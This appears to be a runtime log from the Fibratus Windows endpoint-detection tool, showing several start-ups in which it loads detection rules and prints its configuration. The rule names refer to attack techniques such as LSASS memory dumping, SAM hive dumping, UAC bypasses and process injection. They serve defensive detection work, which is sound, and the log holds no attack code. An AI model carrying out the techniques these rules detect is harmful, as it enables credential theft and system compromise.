C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:23:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:23:33+01:00 level=info msg=bootstrapping with pid 4088. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:23:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html to=>[] port=>25 use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true enable-image=>true buffer-size=>512 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-dns=>false enable-registry=>true enable-net=>true enable-mem=>false enable-thread=>true max-buffers=>36 enable-threadpool=>false enable-handle=>false stack-enrichment=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 level=>info log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s flush-period=>1s healthcheck=>true timeout=>5s bulk-workers=>1 sniff=>false gzip-compression=>false trace-log=>false index-name=>fibratus healthcheck-timeout=>5s template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ enabled=>false routing-key=>fibratus timeout=>5s durable=>false url=>amqp://localhost:5672 delivery-mode=>transient passive=>false]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] skip-registry=>false skip-files=>false fastscan=>true skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:23:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:23:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:24:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:24:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:24:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:27:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:27:03+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:27:03+01:00 level=info msg=bootstrapping with pid 17624. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:27:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 max-buffers=>36 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-image=>true enable-vamap=>true enable-mem=>false enable-handle=>false enable-registry=>true enable-thread=>true stack-enrichment=>true enable-dns=>false enable-fileio=>true enable-threadpool=>false min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 log-stdout=>true max-age=>0 formatter=>text max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false durable=>false exchange-type=>topic enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient timeout=>5s passive=>false vhost=>/] elasticsearch=>[ gzip-compression=>false timeout=>5s trace-log=>false index-name=>fibratus healthcheck=>true sniff=>false healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s enabled=>false healthcheck-interval=>10s] http=>[ endpoints=>[] serializer=>json timeout=>5s enabled=>false method=>POST enable-gzip=>false tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:27:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:27:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:27:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:27:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:27:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:28:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:28:00+01:00 level=info msg=loading rule 